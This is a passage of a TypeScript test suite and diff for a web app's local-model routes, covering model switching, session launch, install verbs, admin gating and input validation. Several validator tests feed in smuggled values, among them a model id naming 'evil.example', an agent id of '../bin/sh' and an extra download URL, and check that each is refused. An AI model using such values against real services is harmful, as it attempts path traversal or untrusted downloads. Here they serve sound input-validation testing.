const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).toHaveBeenCalledTimes(1);
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
// No refusal: the model is applied and the CLI restarted, as for any endpoint.
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
expect(session.restartCli).toHaveBeenCalledTimes(1);
});
it('a changed model refuses the switch in one plain sentence, and nothing is written or restarted', async () => {
const { app, session } = await setup();
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
expect(session.setCustomModel).not.toHaveBeenCalled();
expect(session.restartCli).not.toHaveBeenCalled();
// The runtime was not even asked what it has loaded.
expect(fetchMock).not.toHaveBeenCalled();
});
it('every other endpoint is asked about too, and the service lets it through', async () => {
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('ep1', 'qwen3');
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
it('clearing a selection is never refused: it is the way OFF the endpoint', async () => {
const { app, session } = await setup();
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
session.setCustomModel.mockReturnValue({ previousConfigDir: undefined });
const res = await apply(app, { clear: true });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
expect(session.setCustomModel).toHaveBeenCalledWith(undefined);
});
it('an endpoint that does not exist is still a 404 of its own, asked about nothing', async () => {
const { app } = await setup();
const res = await apply(app, { endpointId: 'nope', modelId: 'x' });
expect(res.json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
});
describe('with the real install service', () => {
it('an installed model whose runtime is not running is not switched to', async () => {
writeInstalledState();
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.json()).toEqual({
success: false,
error: 'The model on this Mac is not running. Start it first.',
errorCode: 'OPERATION_FAILED',
});
expect(session.setCustomModel).not.toHaveBeenCalled();
});
it('a record with the reserved id that nobody installed is an endpoint like any other', async () => {
// No state file: this feature wrote nothing, so there is nothing of ours to guard.
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.statusCode).toBe(200);
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
it('any other endpoint is untouched by an installed model', async () => {
writeInstalledState();
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
expect(res.statusCode).toBe(200);
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
});
});
describe('POST /api/quick-start with customModel on the managed endpoint', () => {
let app: FastifyInstance;
let ctx: MockRouteContext;
const quickStart = (payload: Record<string, unknown>) =>
app.inject({ method: 'POST', url: '/api/quick-start', payload });
beforeEach(async () => {
vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined);
vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined);
vi.spyOn(Session.prototype, 'restartCli').mockResolvedValue(true);
app = Fastify({ logger: false });
await app.register(fastifyCookie);
ctx = createMockRouteContext();
registerSessionRoutes(app, ctx);
installRouteErrorHandler(app);
await app.ready();
});
afterEach(async () => {
await app.close();
vi.restoreAllMocks();
safeRmHomeTree(CASES_DIR);
});
it('asks the install service, and with no refusal the session starts on the local model', async () => {
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-ok',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.statusCode).toBe(200);
expect(res.json().sessionId).toBeTruthy();
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
expect(ctx.sessions.size).toBe(before + 1);
const session = ctx.sessions.get(res.json().sessionId) as unknown as Session;
expect(session.customModel).toMatchObject({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
});
it('a changed model refuses the launch in one plain sentence, and no session is created', async () => {
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-changed',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
expect(ctx.sessions.size).toBe(before);
expect(Session.prototype.startInteractive).not.toHaveBeenCalled();
expect(fetchMock).not.toHaveBeenCalled();
});
it('a launch without a custom model never asks', async () => {
const res = await quickStart({ caseName: 'lm-plain', mode: 'claude' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
});
describe('with the real install service', () => {
it('an installed model whose runtime is not running is not launched', async () => {
writeInstalledState();
guard.real = await realService();
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-stopped',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.json()).toEqual({
success: false,
error: 'The model on this Mac is not running. Start it first.',
errorCode: 'OPERATION_FAILED',
});
expect(ctx.sessions.size).toBe(before);
});
it('a launch on any other endpoint goes on as before', async () => {
writeInstalledState();
guard.real = await realService();
const res = await quickStart({
caseName: 'lm-other',
mode: 'claude',
customModel: { endpointId: 'ep1', modelId: 'qwen3' },
});
expect(res.statusCode).toBe(200);
expect(res.json().sessionId).toBeTruthy();
expect(res.json().success).not.toBe(false);
});
});
});
+548 -25
View File
@@ -1,12 +1,17 @@
/**
* @fileoverview GET /api/local-model: what this Mac is and which local model fits it.
* @fileoverview The local model routes: GET /api/local-model (what this Mac is and which local
* model fits it, plus where the install stands) and the verbs that install, cancel, resume,
* start, stop and remove.
*
* The route only composes four injected functions (the hardware probe, the catalogue getter,
* the harness facts and the pure `recommend()`), so every test passes its own and no test
* depends on what those modules compute. What is pinned here is the route's own contract:
* the envelope, the admin gate in multi-user mode, that an unsupported platform and a failed
* probe are answers (200) and never a 500, what does answer 500, and that a request writes
* nothing.
* The routes only compose injected functions (the hardware probe, the catalogue getter, the
* harness facts, the pure `recommend()` and the install service), so every test passes its own
* and no test depends on what those modules compute. What is pinned here is the routes' own
* contract: the envelope, the admin gate on EVERY verb in multi-user mode, that an unsupported
* platform and a failed probe are answers (200) and never a 500, what does answer 500, how a
* verb's refusal becomes a 400 or a 409 with its conflict, that DELETE hands the live sessions
* to the service, and that a GET with nothing installed writes nothing.
*
* The install service itself is tested in test/local-model-install-service.test.ts.
*
* Port: N/A (app.inject()).
*/
@@ -24,12 +29,22 @@ import {
} from '../../src/web/routes/local-model-routes.js';
import { buildHarnessFacts } from '../../src/local-model/harness-facts.js';
import { formatGb, memClassGb } from '../../src/local-model/format.js';
import { getDataDir } from '../../src/config/instance.js';
import {
createLocalModelService,
getLocalModelService,
type LocalModelService,
type LocalModelVerbResult,
} from '../../src/local-model/install-job.js';
import { CustomModelHostsWriteRefusedError } from '../../src/custom-model-hosts-writer.js';
import { SettingsWriteRefusedError } from '../../src/web/settings-writer.js';
import { dataPath, getDataDir } from '../../src/config/instance.js';
import {
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_LABELS,
type HardwareFacts,
type HarnessFact,
type LocalModelCatalog,
type LocalModelInstallView,
type Recommendation,
} from '../../src/types.js';
@@ -37,10 +52,6 @@ const CATALOG: LocalModelCatalog = {
schema: 1,
updated: '2026-11-06',
minMacosMajor: 14,
promptCacheTiers: [
{ minMemGb: 0, bytes: 512 * 1024 * 1024 },
{ minMemGb: 32, bytes: 2 * 1024 ** 3 },
],
models: [],
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
@@ -111,6 +122,10 @@ const OK: Recommendation = {
speed: 'unknown',
speedLabel: LOCAL_MODEL_LABELS.speedUnknown,
tested: false,
needSource: 'estimated',
harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }],
installBytes: 17740000000,
installGb: '17.7',
},
alternatives: [],
budgetBytes: 37580963840,
@@ -133,12 +148,58 @@ const FACTS: HarnessFact[] = [
{ cli: 'opencode', label: 'OpenCode', installed: true, installable: false, acceptsModelId: () => true },
];
/** The install view of a Mac with nothing installed, as the service would answer it. */
const IDLE_VIEW: LocalModelInstallView = {
state: 'idle',
running: false,
developerTools: 'missing',
runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
actions: ['install'],
};
const INSTALLING_VIEW: LocalModelInstallView = {
...IDLE_VIEW,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B' },
cli: 'opencode',
cliLabel: 'OpenCode',
context: 131072,
actions: ['cancel'],
};
const OK_RESULT: LocalModelVerbResult = { ok: true, view: INSTALLING_VIEW };
type ServiceMock = { [K in keyof LocalModelService]: Mock<LocalModelService[K]> };
/** An install service whose every verb answers `OK_RESULT` and whose view is idle. */
function fakeService(): ServiceMock {
return {
view: vi.fn(async () => IDLE_VIEW),
launchRefusal: vi.fn(async () => undefined),
launchRefusalMessage: vi.fn(async () => undefined),
recommendOptions: vi.fn(async () => ({ runtimeDownloadBytes: 185971671 })),
install: vi.fn(async () => OK_RESULT),
cancel: vi.fn(async () => OK_RESULT),
resume: vi.fn(async () => OK_RESULT),
runtime: vi.fn(async () => OK_RESULT),
remove: vi.fn(async () => OK_RESULT),
boot: vi.fn(async () => {}),
shutdown: vi.fn(async () => {}),
onRuntimeChange: vi.fn(),
idle: vi.fn(async () => {}),
};
}
interface Fakes {
deps: LocalModelRouteDeps;
readHardware: Mock<LocalModelRouteDeps['readHardware']>;
getCatalog: Mock<LocalModelRouteDeps['getCatalog']>;
buildHarnessFacts: Mock<LocalModelRouteDeps['buildHarnessFacts']>;
recommend: Mock<LocalModelRouteDeps['recommend']>;
service: ServiceMock;
}
function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = OK): Fakes {
@@ -146,17 +207,28 @@ function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = O
const getCatalog = vi.fn<LocalModelRouteDeps['getCatalog']>(() => CATALOG);
const buildFacts = vi.fn<LocalModelRouteDeps['buildHarnessFacts']>(async () => FACTS);
const recommend = vi.fn<LocalModelRouteDeps['recommend']>(() => recommendation);
const service = fakeService();
return {
deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend },
deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend, service: () => service },
readHardware,
getCatalog,
buildHarnessFacts: buildFacts,
recommend,
service,
};
}
const harness = (deps: Partial<LocalModelRouteDeps>, authUser?: { username: string; role: 'admin' | 'user' }) =>
createRouteTestHarness((app) => registerLocalModelRoutes(app, deps), authUser ? { authUser } : undefined);
type AuthUser = { username: string; role: 'admin' | 'user' };
/** The live sessions the DELETE looks at: a name, and for some the endpoint their model comes from. */
type SessionLike = { name: string; customModel?: { endpointId: string } };
const harness = (deps: Partial<LocalModelRouteDeps>, authUser?: AuthUser, sessions: SessionLike[] = []) =>
createRouteTestHarness(
(app) =>
registerLocalModelRoutes(app, { sessions: new Map(sessions.map((session, i) => [`s${i}`, session])) }, deps),
authUser ? { authUser } : undefined
);
const get = async (deps: Partial<LocalModelRouteDeps>, authUser?: { username: string; role: 'admin' | 'user' }) => {
const { app } = await harness(deps, authUser);
@@ -191,10 +263,30 @@ describe('GET /api/local-model', () => {
expect(res.statusCode).toBe(200);
expect(res.json()).toEqual({
success: true,
data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06' },
data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06', install: IDLE_VIEW },
});
});
it('recommends with what the install service knows: the measured budget and the runtime still to download', async () => {
const f = fakes();
f.service.recommendOptions.mockResolvedValue({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 });
await get(f.deps);
expect(f.service.recommendOptions).toHaveBeenCalledTimes(1);
expect(f.recommend.mock.calls[0][3]).toEqual({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 });
});
it('carries the install view of the service as it is, in every state', async () => {
const f = fakes();
f.service.view.mockResolvedValue(INSTALLING_VIEW);
const res = await get(f.deps);
expect(res.json().data.install).toEqual(INSTALLING_VIEW);
expect(f.service.view).toHaveBeenCalledTimes(1);
// Looking is not doing: no verb of the service was called.
for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) {
expect(f.service[verb]).not.toHaveBeenCalled();
}
});
it('hands recommend() exactly what the probe, the catalogue and the harness facts answered', async () => {
const f = fakes();
await get(f.deps);
@@ -211,7 +303,7 @@ describe('GET /api/local-model', () => {
it('sends the payload as the modules built it: no size is reformatted and no function leaks', async () => {
const res = await get(fakes().deps);
const { data } = res.json();
expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'recommendation']);
expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'install', 'recommendation']);
expect(data.hardware.memGb).toBe('51.5');
expect(data.hardware.freeDiskGb).toBe('912');
expect(data.recommendation.pick.needGb).toBe('29.6');
@@ -221,10 +313,13 @@ describe('GET /api/local-model', () => {
expect(res.body).not.toContain('installable');
});
it('registers a GET and nothing else: this stage has no route that changes anything', async () => {
const { app } = await harness(fakes().deps);
expect((await app.inject({ method: 'POST', url: '/api/local-model', payload: {} })).statusCode).toBe(404);
expect((await app.inject({ method: 'DELETE', url: '/api/local-model' })).statusCode).toBe(404);
it('is the only thing a GET does: there is no POST, PUT or PATCH on the same path', async () => {
const f = fakes();
const { app } = await harness(f.deps);
for (const method of ['POST', 'PUT', 'PATCH'] as const) {
expect((await app.inject({ method, url: '/api/local-model', payload: {} })).statusCode).toBe(404);
}
expect(f.service.install).not.toHaveBeenCalled();
});
describe('multi-user mode', () => {
@@ -239,6 +334,8 @@ describe('GET /api/local-model', () => {
expect(f.getCatalog).not.toHaveBeenCalled();
expect(f.buildHarnessFacts).not.toHaveBeenCalled();
expect(f.recommend).not.toHaveBeenCalled();
expect(f.service.view).not.toHaveBeenCalled();
expect(f.service.recommendOptions).not.toHaveBeenCalled();
});
it('answers an admin', async () => {
@@ -364,9 +461,16 @@ describe('GET /api/local-model', () => {
describe('read-only', () => {
it('writes nothing: the home directory and the data dir are byte for byte what they were', async () => {
// The real harness facts (they read the CLI registry and run the availability probe),
// the route's own composition, and a hardware answer and a recommendation of the test's.
// the REAL install service over the real state file (nothing is installed, so its view
// is idle), the route's own composition, and a hardware answer and a recommendation of
// the test's.
const f = fakes();
const { app } = await harness({ ...f.deps, buildHarnessFacts: (catalog) => buildHarnessFacts(catalog) });
const service = createLocalModelService();
const { app } = await harness({
...f.deps,
buildHarnessFacts: (catalog) => buildHarnessFacts(catalog),
service: () => service,
});
const home = homedir();
const before = snapshot(home);
@@ -375,6 +479,7 @@ describe('GET /api/local-model', () => {
for (let i = 0; i < 3; i++) {
const res = await app.inject({ method: 'GET', url: '/api/local-model' });
expect(res.statusCode).toBe(200);
expect(res.json().data.install).toMatchObject({ state: 'idle', running: false, actions: ['install'] });
}
// A refused request and a failing one write nothing either.
f.recommend.mockImplementationOnce(() => {
@@ -405,8 +510,28 @@ describe('GET /api/local-model', () => {
const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8');
const barrel = readFileSync(join(root, 'src/web/routes/index.ts'), 'utf8');
expect(barrel).toContain("export { registerLocalModelRoutes } from './local-model-routes.js';");
// No second argument: the server runs the real probe, catalogue, facts and recommend().
expect(server).toContain('registerLocalModelRoutes(this.app);');
// The route context for the live sessions, and no third argument: the server runs the
// real probe, catalogue, facts, recommend() and install service.
expect(server).toContain('registerLocalModelRoutes(this.app, ctx);');
});
it('the server starts the install service at boot and stops it at shutdown, outside tests only', () => {
const root = fileURLToPath(new URL('../../', import.meta.url));
const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8');
const boot = server.indexOf('void getLocalModelService().boot();');
const shutdown = server.indexOf('void getLocalModelService().shutdown();');
expect(boot).toBeGreaterThan(-1);
expect(shutdown).toBeGreaterThan(-1);
// Each sits in a block that tests never enter: nothing of the runtime runs under vitest.
for (const at of [boot, shutdown]) {
const before = server.slice(0, at).trimEnd();
expect(before.endsWith('if (!this.testMode) {')).toBe(true);
}
// Shutdown stands beside the other supervised child's stop.
const deepseek = server.indexOf('void stopDeepSeekWeb();');
expect(deepseek).toBeGreaterThan(-1);
expect(shutdown).toBeGreaterThan(deepseek);
expect(shutdown - deepseek).toBeLessThan(700);
});
it('the default dependencies are the real modules, read at call time', () => {
@@ -415,8 +540,406 @@ describe('GET /api/local-model', () => {
'getCatalog',
'readHardware',
'recommend',
'service',
]);
for (const dep of Object.values(defaultLocalModelRouteDeps)) expect(typeof dep).toBe('function');
// The one install service of the process, the same object every time.
expect(defaultLocalModelRouteDeps.service()).toBe(getLocalModelService());
});
});
});
describe('the install verbs', () => {
const INSTALL_BODY = { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072, acknowledgedBytes: 17926000000 };
/** Every verb as a request, with a body the route accepts. */
const VERBS = [
{ name: 'install', method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY },
{ name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined },
{ name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} },
{ name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } },
{ name: 'remove', method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } },
] as const;
const call = (app: Awaited<ReturnType<typeof harness>>['app'], verb: (typeof VERBS)[number]) =>
app.inject({ method: verb.method, url: verb.url, ...(verb.payload ? { payload: verb.payload } : {}) });
describe.each(VERBS)('$method $url', (verb) => {
it('answers the view after the verb in the success envelope', async () => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(200);
expect(res.json()).toEqual({ success: true, data: INSTALLING_VIEW });
expect(f.service[verb.name]).toHaveBeenCalledTimes(1);
});
it('multi-user mode: a non-admin is refused with 403 before the service is asked anything', async () => {
process.env.CODEMAN_MULTIUSER = '1';
const f = fakes();
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
const res = await call(app, verb);
expect(res.statusCode).toBe(403);
expect(res.json()).toMatchObject({ success: false, errorCode: 'FORBIDDEN' });
for (const name of ['install', 'cancel', 'resume', 'runtime', 'remove', 'view', 'recommendOptions'] as const) {
expect(f.service[name]).not.toHaveBeenCalled();
}
});
it('multi-user mode: the gate comes before the body is even parsed', async () => {
process.env.CODEMAN_MULTIUSER = '1';
const f = fakes();
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
const res = await app.inject({ method: verb.method, url: verb.url, payload: { nonsense: true } });
expect(res.statusCode).toBe(403);
});
it('multi-user mode: an admin is served', async () => {
process.env.CODEMAN_MULTIUSER = '1';
const f = fakes();
const { app } = await harness(f.deps, { username: 'root', role: 'admin' });
expect((await call(app, verb)).statusCode).toBe(200);
expect(f.service[verb.name]).toHaveBeenCalledTimes(1);
});
it('is not gated while multi-user mode is off', async () => {
const f = fakes();
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
expect((await call(app, verb)).statusCode).toBe(200);
});
it('a 409 of the service is the error envelope plus the conflict as data', async () => {
const f = fakes();
f.service[verb.name].mockResolvedValue({
ok: false,
status: 409,
conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
});
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({
success: false,
error: 'An install is already running.',
errorCode: 'CONFLICT',
data: { reason: 'job-running', message: { text: 'An install is already running.' } },
});
});
it('an exception of the service is a 500 in the envelope', async () => {
const f = fakes();
f.service[verb.name].mockRejectedValue(new Error('disk on fire'));
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(500);
expect(res.json()).toMatchObject({ success: false, errorCode: 'INTERNAL_ERROR' });
expect(res.json().error).toContain('disk on fire');
});
it.each([
['the endpoint store', new CustomModelHostsWriteRefusedError('custom-model-hosts.json is not a valid JSON list')],
['the settings file', new SettingsWriteRefusedError('settings.json is not a valid JSON object')],
])('a refused write of %s is a 409 with the fix and no conflict data', async (_label, error) => {
const f = fakes();
f.service[verb.name].mockRejectedValue(error);
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({ success: false, error: error.message, errorCode: 'CONFLICT' });
});
});
describe('POST /api/local-model/install', () => {
it('hands the service the four choices and who asked', async () => {
const f = fakes();
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' });
await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' });
});
it('a row the server does not offer is a 400 with the service own sentence', async () => {
const f = fakes();
f.service.install.mockResolvedValue({
ok: false,
status: 400,
message: 'This model at this context is not offered for this Mac right now.',
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
expect(res.statusCode).toBe(400);
expect(res.json()).toEqual({
success: false,
error: 'This model at this context is not offered for this Mac right now.',
errorCode: 'INVALID_INPUT',
});
});
it('consent bound to the size: the 409 carries the server own total, so the window can ask again', async () => {
const f = fakes();
f.service.install.mockResolvedValue({
ok: false,
status: 409,
conflict: {
reason: 'size-changed',
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.3' } },
expectedBytes: 23291770627,
expectedGb: '23.3',
},
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({
success: false,
error: 'The download is 23.3 GB now. Check the sizes and confirm again.',
errorCode: 'CONFLICT',
data: {
reason: 'size-changed',
message: {
text: 'The download is {size} GB now. Check the sizes and confirm again.',
vars: { size: '23.3' },
},
expectedBytes: 23291770627,
expectedGb: '23.3',
},
});
});
it.each([
['no body', undefined],
['a missing size', { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072 }],
['a model id with a registry host in it', { ...INSTALL_BODY, modelId: 'evil.example/x/y:z' }],
['a model id without a tag', { ...INSTALL_BODY, modelId: 'qwen3.8' }],
['an upper-case model id', { ...INSTALL_BODY, modelId: 'Qwen3.8:27B' }],
['a coding agent id with a space', { ...INSTALL_BODY, cli: 'open code' }],
['a coding agent id that is a path', { ...INSTALL_BODY, cli: '../bin/sh' }],
['a context of zero', { ...INSTALL_BODY, context: 0 }],
['a context that is not a whole number', { ...INSTALL_BODY, context: 1.5 }],
['a negative size', { ...INSTALL_BODY, acknowledgedBytes: -1 }],
['a size as text', { ...INSTALL_BODY, acknowledgedBytes: '17926000000' }],
['a member nobody defined', { ...INSTALL_BODY, url: 'https://example.invalid/ollama.tgz' }],
])('%s is a 400 before the service is asked', async (_label, payload) => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({
method: 'POST',
url: '/api/local-model/install',
...(payload ? { payload } : {}),
});
expect(res.statusCode).toBe(400);
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
expect(f.service.install).not.toHaveBeenCalled();
});
});
describe('POST /api/local-model/resume and /runtime', () => {
it('resume takes no body, an empty one, or newPort', async () => {
const f = fakes();
const { app } = await harness(f.deps);
await app.inject({ method: 'POST', url: '/api/local-model/resume' });
await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { newPort: true } });
expect(f.service.resume.mock.calls.map(([body]) => body)).toEqual([{}, {}, { newPort: true }]);
expect(f.service.resume.mock.calls[0][1]).toEqual({ username: 'admin', ip: '127.0.0.1' });
});
it('resume refuses a body it does not know', async () => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: { port: 80 } });
expect(res.statusCode).toBe(400);
expect(f.service.resume).not.toHaveBeenCalled();
});
it('runtime takes start or stop, and newPort with it', async () => {
const f = fakes();
const { app } = await harness(f.deps);
await app.inject({
method: 'POST',
url: '/api/local-model/runtime',
payload: { action: 'start', newPort: true },
});
await app.inject({ method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } });
expect(f.service.runtime.mock.calls.map(([body]) => body)).toEqual([
{ action: 'start', newPort: true },
{ action: 'stop' },
]);
});
it.each([
['no body', undefined],
['no action', {}],
['an action that is neither', { action: 'restart' }],
['a port number of the caller own choosing', { action: 'start', port: 22 }],
])('runtime with %s is a 400', async (_label, payload) => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({
method: 'POST',
url: '/api/local-model/runtime',
...(payload ? { payload } : {}),
});
expect(res.statusCode).toBe(400);
expect(f.service.runtime).not.toHaveBeenCalled();
});
});
describe('DELETE /api/local-model', () => {
const SESSIONS: SessionLike[] = [
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
{ name: 'w2-app' },
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
];
it('hands the service the names of the live sessions on the model, and who asked', async () => {
const f = fakes();
const { app } = await harness(f.deps, undefined, SESSIONS);
await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
expect(f.service.remove).toHaveBeenCalledWith({ removeModel: true }, ['w1-app', 'w4-lib'], {
username: 'admin',
ip: '127.0.0.1',
});
});
it('without a live session on the model the list is empty, and no body means the model stays', async () => {
const f = fakes();
const { app } = await harness(f.deps, undefined, [SESSIONS[1], SESSIONS[2]]);
const res = await app.inject({ method: 'DELETE', url: '/api/local-model' });
expect(res.statusCode).toBe(200);
expect(f.service.remove.mock.calls[0][0]).toEqual({});
expect(f.service.remove.mock.calls[0][1]).toEqual([]);
});
it('the sessions are read at the moment of the request, not when the routes were registered', async () => {
const f = fakes();
const sessions = new Map<string, SessionLike>();
const { app } = await createRouteTestHarness((instance) =>
registerLocalModelRoutes(instance, { sessions }, f.deps)
);
await app.inject({ method: 'DELETE', url: '/api/local-model' });
sessions.set('late', { name: 'w9-late', customModel: { endpointId: 'local-ollama' } });
await app.inject({ method: 'DELETE', url: '/api/local-model' });
expect(f.service.remove.mock.calls.map((args) => args[1])).toEqual([[], ['w9-late']]);
});
it('while a live session uses the model: 409 with the session names', async () => {
const f = fakes();
f.service.remove.mockImplementation(async (_request, names) => ({
ok: false,
status: 409,
conflict: {
reason: 'sessions-open',
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: names.join(', ') } },
sessions: [...names],
},
}));
const { app } = await harness(f.deps, undefined, SESSIONS);
const res = await app.inject({ method: 'DELETE', url: '/api/local-model' });
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({
success: false,
error: 'Sessions are still using this model: w1-app, w4-lib. Close them first.',
errorCode: 'CONFLICT',
data: {
reason: 'sessions-open',
message: {
text: 'Sessions are still using this model: {sessions}. Close them first.',
vars: { sessions: 'w1-app, w4-lib' },
},
sessions: ['w1-app', 'w4-lib'],
},
});
});
it('refuses a body it does not know', async () => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { path: '/' } });
expect(res.statusCode).toBe(400);
expect(f.service.remove).not.toHaveBeenCalled();
});
});
});
describe('the routes over the real install service', () => {
const STATE = () => dataPath('local-model.json');
afterEach(() => {
rmSync(STATE(), { force: true });
});
/** The real service with the real state file. Only the hardware is the test's: a server that is not a Mac. */
function realService(): LocalModelService {
return createLocalModelService({ readHardware: async () => LINUX });
}
it('on a server that is not a Mac nothing can be installed: the install is a 400 and nothing is written', async () => {
const service = realService();
const { app } = await harness({ readHardware: async () => LINUX, service: () => service });
const res = await app.inject({
method: 'POST',
url: '/api/local-model/install',
payload: { modelId: 'qwen3.6:35b-a3b', cli: 'opencode', context: 131072, acknowledgedBytes: 1 },
});
expect(res.statusCode).toBe(400);
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
expect(existsSync(STATE())).toBe(false);
const get = await app.inject({ method: 'GET', url: '/api/local-model' });
expect(get.json().data.install).toMatchObject({ state: 'idle', actions: ['install'] });
expect(get.json().data.recommendation).toMatchObject({ verdict: 'none', reason: 'not-macos' });
});
it('with nothing installed: cancel, resume and a runtime action are 409 wrong-state', async () => {
const service = realService();
const { app } = await harness({ service: () => service });
for (const [url, payload] of [
['/api/local-model/cancel', undefined],
['/api/local-model/resume', {}],
['/api/local-model/runtime', { action: 'start' }],
] as const) {
const res = await app.inject({ method: 'POST', url, ...(payload ? { payload } : {}) });
expect(res.statusCode).toBe(409);
expect(res.json()).toMatchObject({
success: false,
errorCode: 'CONFLICT',
error: 'That is not possible in the current state.',
data: { reason: 'wrong-state' },
});
}
expect(existsSync(STATE())).toBe(false);
});
it('a job the state file still calls installing comes back paused on the first GET of a new server', async () => {
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installing',
step: 'model',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
